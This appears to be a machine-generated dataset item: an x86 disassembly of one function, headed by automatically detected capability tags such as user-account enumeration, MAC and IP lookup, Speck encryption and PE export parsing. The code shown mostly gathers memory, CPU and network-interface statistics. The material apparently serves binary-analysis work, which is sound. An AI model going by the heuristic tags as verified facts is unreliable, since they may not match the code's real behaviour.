Function at 0x41ce54
Capabilities:
Encrypt data using speck
Get disk information
Get local ipv4 addresses
Get logon sessions
Get mac address on windows
Get memory capacity
List groups for user account
List user accounts
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x430
call fcn.0045a634
test al, al
je 0x4204ce
lea eax, [0x619a50]
lea edi, [esp + 0x240]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xa01f9263
mov edx, dword [edi]
call fcn.00408f19
and dword [edi + 0x34], 0
and dword [edi + 0x30], 0
and dword [edi + 0x38], 0
xorps xmm0, xmm0
xor ecx, ecx
movaps xmmword [edi + 0x20], xmm0
movaps xmmword [edi + 0x10], xmm0
movaps xmmword [edi], xmm0
cmp ecx, 0x3b
ja 0x41cec4
mov edx, dword [ecx + 0x5d5f37]
xor edx, dword [eax + ecx]
mov dword [esp + ecx + 0x240], edx
add ecx, 4
jmp 0x41ceaa
movzx ecx, byte [eax + 0x3e]
movzx eax, word [eax + 0x3c]
lea esi, [esp + 0x240]
xor eax, 0xc635
xor cl, 0x1c
mov word [esi + 0x3c], ax
mov byte [esi + 0x3e], cl
push 0x3f
pop ebx
lea eax, [esp + 0xf0]
push ebx
push edi
push eax
mov edi, eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [esi], 0x64bc18
mov dword [esi + 4], 2
and dword [esi + 0x10], 0
lea ecx, [esp + 0x60]
lea eax, [esp + 0x40]
mov dword [ecx], edi
mov dword [eax], ecx
mov dword [ecx + 4], ebx
mov ecx, esi
mov dword [esi + 8], eax
mov dword [eax + 4], fcn.00426659
mov dword [esi + 0xc], 1
call fcn.00547820
lea esi, [esp + 0x240]
mov ecx, esi
call fcn.00497f46
lea edi, [esp + 0x418]
mov edx, esi
mov ecx, edi
call fcn.00559be3
mov eax, dword [edi]
lea esi, [esp + 0x240]
mov edx, 0xe8
mov ecx, esi
mov dword [esp + 8], eax
mov eax, dword [edi + 4]
mov dword [esp + 0xc], eax
mov eax, dword [edi + 0xc]
mov dword [esp + 4], eax
mov eax, dword [edi + 8]
mov dword [esp + 0xc0], eax
push 0x1f4
call fcn.00559017
pop eax
movsd xmm0, qword [esi]
movsd xmm1, qword [esi + 8]
lea eax, [esp + 0xf0]
movsd qword [eax + 8], xmm1
movsd qword [eax], xmm0
push 9
pop ecx
xor edx, edx
call fcn.00487eba
mov esi, edx
mov dword [esp + 0x14], eax
mov dword [edx], 0x61746f54
mov dword [edx + 4], 0x5043206c
mov byte [edx + 8], 0x55
push 8
pop ecx
mov edx, 0xa0
call fcn.00425bef
test eax, eax
mov dword [esp + 0x10], eax
je 0x4206f8
lea edi, [esp + 0x240]
mov ecx, edi
call fcn.00497f46
lea ebx, [esp + 0x408]
mov edx, edi
mov ecx, ebx
call fcn.00559be3
mov eax, dword [ebx + 0xc]
mov dword [esp + 0xe0], eax
mov eax, dword [ebx + 8]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx]
mov dword [esp + 0x210], eax
mov eax, dword [ebx + 4]
mov dword [esp + 0x200], eax
call fcn.00552830
mov edi, edx
lea ebx, [esp + 0x240]
mov edx, eax
mov ecx, ebx
push 0x19db1de
push 0xd53e8000
push edi
call fcn.005528a0
add esp, 0xc
mov eax, dword [ebx]
mov edi, 0
or eax, dword [ebx + 4]
mov ebx, 0
jne 0x41d081
mov edi, dword [esp + 0x248]
mov ebx, dword [esp + 0x24c]
call sub.KERNEL32.DLL_GetTickCount64
push 0
push 0x3e8
push edx
push eax
call fcn.0056ac94
add esp, 0x10
xor ecx, ecx
sub edi, eax
sbb ebx, edx
cmovb ebx, ecx
cmovb edi, ecx
movsd xmm0, qword [esp + 0xf0]
movsd xmm1, qword [esp + 0xf8]
mov eax, dword [esp + 8]
movsd qword [esp + 0x290], xmm0
movsd qword [esp + 0x298], xmm1
mov dword [esp + 0x2a0], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2a4], eax
mov eax, dword [esp + 0xc0]
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x2ac], eax
mov eax, dword [esp + 0x14]
and dword [esp + 0x244], 0
and dword [esp + 0x240], 0
and dword [esp + 0x2d4], 0
and dword [esp + 0x2d0], 0
and dword [esp + 0x2dc], 0
and dword [esp + 0x2d8], 0
and dword [esp + 0x2e4], 0
and dword [esp + 0x2e0], 0
and dword [esp + 0x2ec], 0
and dword [esp + 0x2e8], 0
mov dword [esp + 0x248], eax
mov dword [esp + 0x24c], esi
mov dword [esp + 0x250], 9
and dword [esp + 0x254], 0
xor esi, esi
inc esi
mov dword [esp + 0x258], esi
and dword [esp + 0x25c], 0
and dword [esp + 0x260], 0
mov dword [esp + 0x264], esi
and dword [esp + 0x268], 0
mov dword [esp + 0x26c], 0x80000000
and dword [esp + 0x278], 0
and dword [esp + 0x280], 0
mov dword [esp + 0x284], 8
and dword [esp + 0x288], 0
mov byte [esp + 0x28c], 0
and dword [esp + 0x320], 0
push 4
pop eax
mov ecx, dword [esp + 0x10]
movsd xmm0, qword [0x69eaa8]
mov dword [esp + 0x324], eax
and dword [esp + 0x328], 0
mov dword [esp + 0x32c], 2
mov edx, dword [esp + 0xe0]
mov dword [esp + 0xc], eax
mov dword [esp + 0x330], ecx
and dword [esp + 0x334], 0
and dword [esp + 0x2f0], 0
movsd qword [esp + 0x2b8], xmm0
movsd xmm0, qword [0x69eaa0]
mov ecx, dword [esp + 0x200]
movsd qword [esp + 0x2b0], xmm0
mov dword [esp + 0x2c4], ecx
mov ecx, dword [esp + 0x210]
xorps xmm0, xmm0
movaps xmmword [esp + 0xf0], xmm0
movaps xmmword [esp + 0x120], xmm0
movaps xmmword [esp + 0x110], xmm0
movaps xmmword [esp + 0x100], xmm0
mov dword [esp + 0xf0], 0x40
mov dword [esp + 0x2c0], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x2cc], edx
mov dword [esp + 0x2c8], ecx
mov dword [esp + 0x31c], ebx
mov dword [esp + 0x318], edi
and dword [esp + 0x338], 0
mov dword [esp + 0x33c], eax
and dword [esp + 0x340], 0
lea eax, [esp + 0xf0]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatusEx
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xfc]
mov edx, dword [esp + 0x104]
and dword [esp + 0x94], 0
and dword [esp + 0x90], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x80], xmm0
movaps xmmword [esp + 0x70], xmm0
movaps xmmword [esp + 0x60], xmm0
mov dword [esp + 0x2d0], eax
mov eax, dword [esp + 0x100]
mov dword [esp + 0x2d4], ecx
mov dword [esp + 0x2dc], edx
mov dword [esp + 0x2d8], eax
push 0x38
lea eax, [esp + 0x64]
push eax
call sub.psapi.dll_GetPerformanceInfo
cmp eax, esi
jne 0x41d367
mov edx, dword [esp + 0x68]
mov eax, dword [esp + 0x70]
mov edi, dword [esp + 0x64]
mov ecx, dword [esp + 0x88]
xor esi, esi
sub edx, eax
cmovb edx, esi
sub edi, eax
mov eax, ecx
cmovb edi, esi
xor ebx, ebx
dec ebx
mul edx
mov edx, 0
cmovo eax, ebx
cmovo edx, edx
mov dword [esp + 0x2e0], eax
mov eax, ecx
mov dword [esp + 0x2e4], edx
mul edi
cmovo eax, ebx
cmovo esi, esi
mov dword [esp + 0x2ec], esi
mov dword [esp + 0x2e8], eax
lea eax, [esp + 0x2f0]
lea esi, [esp + 0x26c]
cmp dword [eax], 0
push 8
pop ebx
jne 0x41d5cd
and dword [esp + 0x60], 0
lea eax, [esp + 0x60]
push eax
push 0
push 0
call sub.pdh.dll_PdhOpenQueryA
mov esi, eax
test eax, eax
je 0x41d39e
xor eax, eax
jmp 0x41d3db
mov eax, dword [esp + 0x60]
lea edi, [esp + 0xf0]
mov ecx, edi
mov dword [esp + 4], eax
call fcn.00497f46
lea ebx, [esp + 0x3f8]
mov edx, edi
mov ecx, ebx
call fcn.00559be3
mov eax, dword [ebx + 0xc]
mov edi, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esp + 8], eax
mov edx, dword [ebx + 8]
push 8
pop ebx
mov eax, 0x69ea90
and dword [esp + 0x2fc], 0
and dword [esp + 0x2f4], 0
and dword [esp + 0x2f8], 0
and dword [esp + 0x314], 0
test esi, esi
mov dword [esp + 0x2f0], eax
mov dword [esp + 0x300], edi
mov dword [esp + 0x304], ecx
mov dword [esp + 0x308], edx
mov esi, dword [esp + 8]
mov edx, dword [esp + 4]
mov dword [esp + 0x30c], esi
mov dword [esp + 0x310], edx
jne 0x41d5be
push 0x1e
pop ebx
mov ecx, ebx
xor edx, edx
mov dword [esp + 4], 0
call fcn.00487eba
mov edi, eax
mov esi, edx
push ebx
push 0x69f0ec
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [esp + 0x60], edi
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], ebx
push 5
pop ecx
xor edx, edx
call fcn.00487eba
mov dword [edx], 0x5f746f74
mov byte [edx + 4], 0x30
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov dword [esp + 0xf4], edx
mov dword [esp + 0xf8], 5
lea ecx, [esp + 0x60]
lea edx, [esp + 0x2f0]
push eax
lea eax, [esp + 0x270]
push eax
call fcn.0055b07d
pop eax
pop ecx
xor edx, edx
lea ecx, [esp + 0x240]
inc edx
call fcn.0055b341
mov edi, eax
mov dword [esp + 8], edx
cmp edi, dword [esp + 8]
je 0x41d5b4
mov eax, dword [esp + 4]
mov ebx, fcn.0043a0b0
mov dword [esp + 0xf0], 0x69f128
mov dword [esp + 0x24], eax
inc eax
mov dword [esp + 4], eax
lea eax, [esp + 0x24]
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], ebx
push 2
pop eax
mov dword [esp + 0xf4], eax
and dword [esp + 0x100], 0
lea eax, [esp + 0xa0]
lea esi, [esp + 0xf0]
lea ecx, [esp + 0x40]
mov dword [esp + 0xf8], eax
xor eax, eax
mov edx, esi
inc eax
mov dword [esp + 0xfc], eax
call fcn.00556bd9
lea eax, [esp + 0x24]
mov dword [esp + 0xf0], 0x69f13c
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], ebx
push 2
pop eax
mov dword [esp + 0xf4], eax
and dword [esp + 0x100], 0
lea eax, [esp + 0xa0]
lea ebx, [esp + 0x60]
mov edx, esi
mov dword [esp + 0xf8], eax
xor eax, eax
mov ecx, ebx
inc eax
mov dword [esp + 0xfc], eax
call fcn.00556bd9
lea eax, [edi + 0x2c]
lea ecx, [esp + 0x40]
lea edx, [esp + 0x2f0]
push ebx
push eax
call fcn.0055b07d
pop eax
pop ecx
add edi, 0x40
jmp 0x41d4cc
mov eax, dword [esp + 0x2f0]
push 8
pop ebx
test eax, eax
lea esi, [esp + 0x26c]
je 0x41d6ea
push dword [esp + 0x310]
call sub.pdh.dll_PdhCollectQueryData
cmp dword [esp + 0x26c], 0x80000000
je 0x41d611
lea ecx, [esp + 0x2f0]
mov edx, esi
call fcn.0055b35a
test eax, eax
je 0x420705
movss xmm1, dword [0x593060]
subss xmm1, xmm0
movss dword [esp + 0x278], xmm1
xor edx, edx
lea ecx, [esp + 0x240]
inc edx
call fcn.0055b341
mov esi, eax
mov edi, edx
add esi, 0x2c
lea eax, [esi - 0x2c]
cmp eax, edi
je 0x41d662
cmp dword [esi], 0x80000000
je 0x41d65d
lea ecx, [esp + 0x2f0]
mov edx, esi
call fcn.0055b35a
test eax, eax
je 0x4206e6
movss xmm1, dword [0x593060]
subss xmm1, xmm0
movss dword [esi + 0xc], xmm1
add esi, 0x40
jmp 0x41d627
cmp byte [esp + 0x28c], 0
jne 0x41d6ea
mov esi, dword [esp + 0x288]
lea edi, [esp + 0xf0]
mov ecx, edi
mov edx, esi
call fcn.0055a96f
mov eax, dword [edi + 8]
mov ebx, dword [esp + 0x284]
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov edi, esi
mov dword [esp + 4], esi
xor esi, esi
shl edi, 6
shl eax, 3
test edi, edi
je 0x41d6ba
cmp eax, esi
je 0x41d6ba
movsd xmm0, qword [edx + esi]
add edi, 0xffffffc0
movsd qword [ebx + esi*8], xmm0
add esi, 8
jmp 0x41d6a0
call fcn.0047e0a3
cmp dword [esp + 4], 0
je 0x41d6cd
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
jmp 0x41d6d1
xor eax, eax
xor ecx, ecx
push 8
pop ebx
mov dword [esp + 0x240], eax
mov dword [esp + 0x244], ecx
mov byte [esp + 0x28c], 1
lea esi, [esp + 0x60]
mov ecx, esi
call fcn.0055ac00
cmp dword [esi], 2
je 0x41d867
mov eax, dword [esp + 0x78]
movsd xmm0, qword [esp + 0x70]
movsd xmm2, qword [esp + 0x60]
movsd xmm1, qword [esp + 0x68]
lea esi, [esp + 0x40]
lea edx, [esp + 0xf0]
mov ecx, esi
mov dword [edx + 0x18], eax
movsd qword [edx + 0x10], xmm0
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm2
call fcn.0055ac24
cmp dword [esi], 2
je 0x41d867
mov eax, dword [esp + 0x58]
movsd xmm0, qword [esp + 0x50]
movsd xmm2, qword [esp + 0x40]
movsd xmm1, qword [esp + 0x48]
lea esi, [esp + 0xa0]
lea edx, [esp + 0xf0]
mov ecx, esi
mov dword [edx + 0x18], eax
movsd qword [edx + 0x10], xmm0
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm2
call fcn.0055ac7e
cmp dword [esi], 2
je 0x41d867
mov eax, dword [esp + 0xb8]
movsd xmm0, qword [esp + 0xb0]
movsd xmm2, qword [esp + 0xa0]
movsd xmm1, qword [esp + 0xa8]
lea esi, [esp + 0x24]
lea edx, [esp + 0xf0]
mov ecx, esi
mov dword [edx + 0x18], eax
movsd qword [edx + 0x10], xmm0
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm2
call fcn.0055acf6
cmp dword [esi], 2
je 0x41d867
mov eax, dword [esp + 0x3c]
movsd xmm0, qword [esp + 0x34]
movsd xmm2, qword [esp + 0x24]
movsd xmm1, qword [esp + 0x2c]
lea esi, [esp + 0x220]
lea edx, [esp + 0xf0]
mov ecx, esi
mov dword [edx + 0x18], eax
movsd qword [edx + 0x10], xmm0
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm2
call fcn.0055ad92
cmp dword [esi], 2
je 0x41d867
mov eax, dword [esp + 0x238]
movsd xmm0, qword [esp + 0x230]
movsd xmm2, qword [esp + 0x220]
movsd xmm1, qword [esp + 0x228]
lea esi, [esp + 0x3a8]
lea edx, [esp + 0xf0]
mov ecx, esi
mov dword [edx + 0x18], eax
movsd qword [edx + 0x10], xmm0
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm2
call fcn.0055adf2
mov eax, dword [esi]
cmp eax, 2
jne 0x420500
xor esi, esi
mov ecx, dword [esp + 0x324]
mov edx, dword [esp + 0x328]
call fcn.00558b1e
mov ecx, dword [esp + 0x320]
mov edx, dword [esp + 0x324]
call fcn.00558c6f
mov eax, dword [esp + 0xc]
mov dword [esp + 0x320], esi
mov dword [esp + 0x324], eax
lea eax, [esp + 0x220]
mov dword [esp + 0x328], esi
and dword [eax], 0
push eax
call sub.iphlpapi.dll_GetIfTable2
test eax, eax
jne 0x41e780
lea edx, [esp + 0x2c0]
lea esi, [esp + 0xf0]
mov eax, dword [edx - 0x10]
mov ecx, dword [edx - 0xc]
movdqa xmm0, xmmword [eax]
lea ecx, [ecx + eax + 1]
mov dword [esi], eax
add eax, 0x10
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov ecx, dword [edx - 4]
pmovmskb eax, xmm0
not eax
mov word [esi + 0xc], ax
mov dword [esi + 0x10], ecx
mov ecx, esi
call fcn.00558d26
test eax, eax
je 0x41d908
mov byte [edx + 0x6e], 0
jmp 0x41d8f7
lea edi, [esp + 0xf0]
mov ecx, edi
call fcn.00497f46
lea esi, [esp + 0x3e8]
mov edx, edi
mov ecx, esi
call fcn.00559be3
movq xmm0, qword [0x69eaa0]
movq xmm1, qword [0x69eaa8]
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov edx, dword [esi]
mov esi, dword [esi + 4]
movq qword [edi], xmm0
movq qword [edi + 8], xmm1
lea edi, [esp + 0x100]
mov dword [edi + 4], esi
mov dword [edi], edx
mov dword [edi + 0xc], ecx
mov ecx, dword [esp + 0x220]
mov dword [edi + 8], eax
lea eax, [esp + 0x40]
xor edi, edi
and dword [eax], 0
mov dword [eax + 4], 4
and dword [eax + 8], 0
mov edx, dword [ecx]
add ecx, 8
push 4
pop eax
mov dword [esp + 0xd8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], edx
mov esi, dword [esp + 0xc]
cmp esi, edx
je 0x41dcf2
lea eax, [esi + 1]
mov dword [esp + 0x10], esi
imul esi, esi, 0x548
mov dword [esp + 0xc], eax
mov eax, dword [ecx + esi + 0x4a8]
or eax, dword [ecx + esi + 0x4ac]
jne 0x41d9d3
mov eax, dword [ecx + esi + 0x4b0]
or eax, dword [ecx + esi + 0x4b4]
je 0x41d996
cmp dword [ecx + esi + 0x48c], 2
je 0x41d996
cmp dword [ecx + esi + 0x420], 0
je 0x41d996
mov dword [esp + 0xe0], edi
mov edi, ecx
push 0x14
pop ecx
push 2
pop edx
call fcn.0047a4d8
mov ebx, eax
mov eax, dword [edi + esi + 0x10]
movzx ecx, byte [edi + esi + 0x19]
movzx edx, byte [edi + esi + 0x18]
mov dword [esp + 4], eax
movzx eax, byte [edi + esi + 0x14]
mov dword [esp + 8], eax
movzx eax, byte [edi + esi + 0x15]
mov dword [esp + 0xc0], eax
movzx eax, byte [edi + esi + 0x16]
mov dword [esp + 0x14], eax
movzx eax, byte [edi + esi + 0x17]
mov dword [esp + 0x1c], eax
movzx eax, byte [edi + esi + 0x1a]
movzx esi, byte [edi + esi + 0x1b]
mov edi, dword [esp + 4]
mov dword [ebx], edi
mov edi, dword [esp + 8]
mov word [ebx + 4], di
mov edi, dword [esp + 0xc0]
mov word [ebx + 6], di
mov edi, dword [esp + 0x14]
mov dword [esp + 0x14], 0
mov word [ebx + 8], di
mov edi, dword [esp + 0x1c]
mov word [ebx + 0xa], di
mov word [ebx + 0xc], dx
mov word [ebx + 0xe], cx
mov word [ebx + 0x10], ax
mov word [ebx + 0x12], si
push 0xa
pop ecx
xor edx, edx
call fcn.00556b44
movsd xmm0, qword [ebx]
movsd xmm1, qword [ebx + 8]
mov dword [esp + 0x210], eax
mov esi, edx
mov dword [esp + 0x1c], ebx
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov eax, dword [ebx + 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [esp + 0x100]
mov edx, dword [esp + 0x104]
push 0xa
mov dword [esp + 0xc], esi
push esi
push dword [esp + 0x114]
push dword [esp + 0x114]
call fcn.005587bc
add esp, 0x10
mov esi, eax
mov ebx, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0x390], edx
mov dword [esp + 0x350], eax
shr esi, 0x19
movd xmm0, esi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
mov dword [esp + 4], ebx
and ebx, eax
pshufd xmm1, xmm0, 0
movdqa xmmword [esp + 0x200], xmm1
movdqu xmm0, xmmword [ecx + ebx]
mov edi, ecx
movdqa xmmword [esp + 0xc0], xmm0
pcmpeqb xmm0, xmm1
pmovmskb eax, xmm0
mov word [esp + 0x60], ax
lea ecx, [esp + 0x60]
call fcn.0048f1af
test eax, eax
je 0x41db6d
add edx, ebx
mov esi, edi
and edx, dword [esp + 4]
shl edx, 4
sub esi, edx
mov ecx, dword [esi - 0xc]
mov edx, dword [esi - 8]
push 0xa
push dword [esp + 0xc]
call fcn.0055886e
pop ecx
pop edx
test al, al
je 0x41db3a
jmp 0x41dba9
movdqa xmm1, xmmword [esp + 0xc0]
pcmpeqd xmm0, xmm0
mov ecx, edi
pcmpeqb xmm1, xmm0
pmovmskb eax, xmm1
test eax, eax
jne 0x41dbf4
mov eax, dword [esp + 0x14]
movdqa xmm1, xmmword [esp + 0x200]
lea ebx, [ebx + eax + 0x10]
add eax, 0x10
and ebx, dword [esp + 4]
mov dword [esp + 0x14], eax
jmp 0x41db1d
mov ecx, dword [esp + 0x210]
cmp ecx, 0x80000000
je 0x41dbc1
mov edx, dword [esp + 8]
call fcn.00567db4
push 8
pop ebx
mov eax, dword [esi - 4]
mov edi, dword [esp + 0xe0]
inc eax
cmp eax, 1
mov dword [esi - 4], eax
jle 0x41dc61
push 0xa
pop ecx
mov edx, dword [esp + 0x1c]
call fcn.00567db4
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
jmp 0x41d996
cmp dword [esp + 0xf8], 0
je 0x41dcc8
mov edx, dword [esp + 4]
push dword [esp + 0x390]
push dword [esp + 0x354]
call fcn.0044baab
pop ecx
pop ecx
mov ecx, dword [esp + 0xf0]
mov edi, dword [esp + 0x210]
and dl, 1
shl eax, 4
movzx edx, dl
sub dword [esp + 0xf8], edx
mov esi, ecx
sub esi, eax
neg eax
mov dword [ecx + eax - 0x10], edi
mov ecx, dword [esp + 8]
mov dword [esi - 0xc], ecx
mov dword [esi - 8], 0xa
and dword [esi - 4], 0
inc dword [esp + 0xfc]
jmp 0x41dbc1
cmp edi, dword [esp + 0x40]
jne 0x41dc84
lea ecx, [esp + 0x40]
mov edx, edi
call fcn.00558963
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x48]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
jmp 0x41dc93
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0xd8]
mov eax, dword [esp + 0x10]
shl edi, 4
mov dword [esi + edi], eax
push 0xa
pop eax
mov dword [esi + edi + 4], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xd8], esi
mov dword [esi + edi + 8], eax
push 0xa
pop eax
mov dword [esi + edi + 0xc], eax
mov edi, dword [esp + 0x48]
inc edi
mov dword [esp + 0x48], edi
jmp 0x41d996
lea ecx, [esp + 0xf0]
lea edx, [esp + 0x100]
call fcn.005590f2
mov ecx, dword [esp + 0xf0]
mov eax, dword [esp + 0xf4]
mov dword [esp + 4], eax
jmp 0x41dc02
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
shl edi, 4
add edi, ecx
mov esi, ecx
mov dword [esp + 0x380], eax
mov dword [esp + 0x37c], ecx
mov dword [esp + 0xe0], edi
cmp esi, edi
je 0x41e369
mov ecx, dword [esi + 4]
lea eax, [esi + 0x10]
cmp ecx, 0x80000000
mov dword [esp + 0x14], ecx
je 0x41e367
mov ecx, dword [esi]
mov edx, dword [esi + 8]
cmp dword [esp + 0xfc], 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 4], edx
je 0x41de95
mov esi, dword [esi + 0xc]
mov eax, edx
mov ecx, dword [esp + 0x100]
mov edx, dword [esp + 0x104]
mov dword [esp + 0xc0], esi
push esi
push eax
push dword [esp + 0x114]
push dword [esp + 0x114]
call fcn.005587bc
add esp, 0x10
mov edx, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0x200], 0
mov dword [esp + 0x10], edx
and edx, eax
shr eax, 0x19
mov dword [esp + 8], ecx
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm1, xmm0, 0
movdqa xmmword [esp + 0x350], xmm1
movdqu xmm0, xmmword [ecx + edx]
mov dword [esp + 0xc], edx
movdqa xmmword [esp + 0x210], xmm0
pcmpeqb xmm0, xmm1
pmovmskb eax, xmm0
mov word [esp + 0x60], ax
lea ecx, [esp + 0x60]
call fcn.0048f1af
mov edi, eax
test eax, eax
je 0x41de27
mov ebx, edx
mov esi, dword [esp + 8]
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc0]
add ebx, dword [esp + 0xc]
and ebx, dword [esp + 0x10]
mov eax, ebx
shl eax, 4
sub esi, eax
push dword [esi - 8]
push dword [esi - 0xc]
call fcn.0055886e
pop ecx
pop edx
test al, al
je 0x41dde5
jmp 0x41de6f
movdqa xmm1, xmmword [esp + 0x210]
pcmpeqd xmm0, xmm0
mov ecx, dword [esp + 8]
pcmpeqb xmm1, xmm0
pmovmskb eax, xmm1
test eax, eax
jne 0x41de73
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x200]
movdqa xmm1, xmmword [esp + 0x350]
lea edx, [edx + eax + 0x10]
add eax, 0x10
and edx, dword [esp + 0x10]
mov dword [esp + 0x200], eax
jmp 0x41ddc6
mov ecx, dword [esp + 8]
shl ebx, 4
sub ecx, ebx
test edi, edi
cmove ecx, edi
add ecx, 0xfffffff0
test edi, edi
cmove ecx, edi
push 8
pop ebx
mov edi, dword [esp + 0xe0]
mov edx, dword [esp + 4]
jmp 0x41de97
xor ecx, ecx
lea eax, [ecx + 0xc]
test ecx, ecx
mov esi, 0x6c42dc
cmove eax, esi
cmp dword [eax], 1
jg 0x41e13a
imul ecx, dword [esp + 0x18], 0x548
mov eax, dword [esp + 0x20]
lea esi, [eax + ecx]
lea eax, [eax + ecx + 0x1c]
mov dword [esp + 0xc0], ecx
mov dword [esp + 0x18], esi
xor esi, esi
cmp esi, 0x101
je 0x41dedf
cmp word [eax + esi*2], 0
je 0x41dee6
inc esi
jmp 0x41decd
mov esi, 0x101
jmp 0x41defc
mov ecx, eax
mov edx, 0x101
push 0x69efa0
push esi
call fcn.00556a5c
pop ecx
pop ecx
mov esi, edx
lea ecx, [esp + 0x60]
mov edx, eax
push esi
call fcn.00434c30
pop eax
mov eax, dword [esp + 0x60]
cmp eax, 0x80000000
je 0x41e136
mov esi, dword [esp + 0x68]
mov edx, dword [esp + 0x2c4]
mov dword [esp + 0x350], eax
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x2c0]
mov dword [esp + 0x10], esi
push esi
mov dword [esp + 0x10], eax
push eax
push dword [esp + 0x2d4]
push dword [esp + 0x2d4]
call fcn.00473d7d
add esp, 0x10
mov ecx, eax
mov edi, dword [esp + 0x2b4]
mov dword [esp + 0x384], edx
mov edx, dword [esp + 0x2b0]
mov dword [esp + 0xd8], eax
mov dword [esp + 0x200], 0
shr ecx, 0x19
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
mov dword [esp + 8], edi
and edi, eax
pshufd xmm1, xmm0, 0
movdqa xmmword [esp + 0x390], xmm1
movdqu xmm0, xmmword [edx + edi]
mov ebx, edx
movdqa xmmword [esp + 0x210], xmm0
pcmpeqb xmm0, xmm1
pmovmskb eax, xmm0
mov word [esp + 0x60], ax
lea ecx, [esp + 0x60]
call fcn.0048f1af
test eax, eax
je 0x41dff4
add edx, edi
mov esi, ebx
and edx, dword [esp + 8]
shl edx, 7
sub esi, edx
mov ecx, dword [esi - 0x7c]
mov edx, dword [esi - 0x78]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.0055d636
pop ecx
pop edx
test al, al
je 0x41dfbf
jmp 0x41e03a
movdqa xmm1, xmmword [esp + 0x210]
pcmpeqd xmm0, xmm0
pcmpeqb xmm1, xmm0
pmovmskb eax, xmm1
test eax, eax
jne 0x41e14c
mov eax, dword [esp + 0x200]
movdqa xmm1, xmmword [esp + 0x390]
mov edx, ebx
lea edi, [edi + eax + 0x10]
add eax, 0x10
and edi, dword [esp + 8]
mov dword [esp + 0x200], eax
jmp 0x41dfa2
mov eax, dword [esi - 0x68]
mov ecx, dword [esi - 0x64]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0xc0]
mov edi, 0xffffffff
mov dword [esi - 0x5c], ecx
mov dword [esi - 0x60], eax
mov eax, dword [edx + ebx + 0x504]
mov ecx, dword [edx + ebx + 0x500]
mov dword [esi - 0x68], ecx
mov dword [esi - 0x64], eax
mov eax, dword [esi - 0x54]
mov ecx, dword [esi - 0x58]
mov dword [esi - 0x50], ecx
mov dword [esi - 0x4c], eax
movsd xmm0, qword [edx + ebx + 0x4b8]
movsd qword [esi - 0x58], xmm0
movsd xmm0, qword [esi - 0x48]
movsd qword [esi - 0x40], xmm0
mov eax, dword [edx + ebx + 0x4c0]
mov ecx, dword [edx + ebx + 0x4c4]
add eax, dword [edx + ebx + 0x4c8]
adc ecx, dword [edx + ebx + 0x4cc]
cmovb ecx, edi
cmovb eax, edi
mov dword [esi - 0x44], ecx
mov dword [esi - 0x48], eax
movsd xmm0, qword [esi - 0x38]
movsd qword [esi - 0x30], xmm0
mov ecx, dword [edx + ebx + 0x508]
mov eax, dword [edx + ebx + 0x50c]
add ecx, dword [edx + ebx + 0x510]
adc eax, dword [edx + ebx + 0x514]
cmovb eax, edi
cmovb ecx, edi
mov dword [esi - 0x38], ecx
mov dword [esi - 0x34], eax
mov ecx, dword [esp + 0x350]
movsd xmm0, qword [esi - 0x28]
movsd qword [esi - 0x20], xmm0
movsd xmm0, qword [edx + ebx + 0x4d8]
movsd qword [esi - 0x28], xmm0
movsd xmm0, qword [esi - 0x18]
movsd qword [esi - 0x10], xmm0
movq xmm0, qword [edx + ebx + 0x520]
mov edx, dword [esp + 0xc]
movq qword [esi - 0x18], xmm0
mov byte [esi - 2], 1
call fcn.00563c9c
push 8
pop ebx
mov edi, dword [esp + 0xe0]
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x14]
call fcn.00567db4
mov esi, dword [esp + 0x1c]
jmp 0x41dd16
cmp dword [esp + 0x2b8], 0
je 0x41e33d
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0xc0]
mov ecx, 0xffffffff
